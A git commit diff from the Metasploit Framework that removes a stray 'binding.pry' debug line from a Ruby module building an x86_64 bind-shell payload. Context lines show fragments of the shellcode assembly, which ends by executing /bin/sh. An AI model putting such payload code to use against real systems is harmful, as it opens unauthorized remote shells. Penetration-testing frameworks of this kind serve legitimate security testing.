Remove binding.pry from bind payload.
In response to https://github.com/rapid7/metasploit-framework/pull/11039#discussion_r241890477.GSoC/Meterpreter_Web_Console
parent
18c3d69944
commit
cb3ea8dfed
|
@ -34,8 +34,6 @@ module MetasploitModule
|
||||||
tcp_port.pop # removes the first useless / from the array
|
tcp_port.pop # removes the first useless / from the array
|
||||||
tcp_port.shift # removes the last useless / from the array
|
tcp_port.shift # removes the last useless / from the array
|
||||||
tcp_port = (port_order.map{|x| tcp_port[x]}).join('') # reorder the array and convert it to a string.
|
tcp_port = (port_order.map{|x| tcp_port[x]}).join('') # reorder the array and convert it to a string.
|
||||||
binding.pry
|
|
||||||
|
|
||||||
|
|
||||||
payload = <<-EOS
|
payload = <<-EOS
|
||||||
socket_call:
|
socket_call:
|
||||||
|
@ -130,7 +128,6 @@ module MetasploitModule
|
||||||
push rsp
|
push rsp
|
||||||
pop rdi ; address of /bin/sh
|
pop rdi ; address of /bin/sh
|
||||||
syscall
|
syscall
|
||||||
|
|
||||||
EOS
|
EOS
|
||||||
|
|
||||||
Metasm::Shellcode.assemble(Metasm::X86_64.new, payload).encode_string
|
Metasm::Shellcode.assemble(Metasm::X86_64.new, payload).encode_string
|
||||||
|
|
Loading…
Reference in New Issue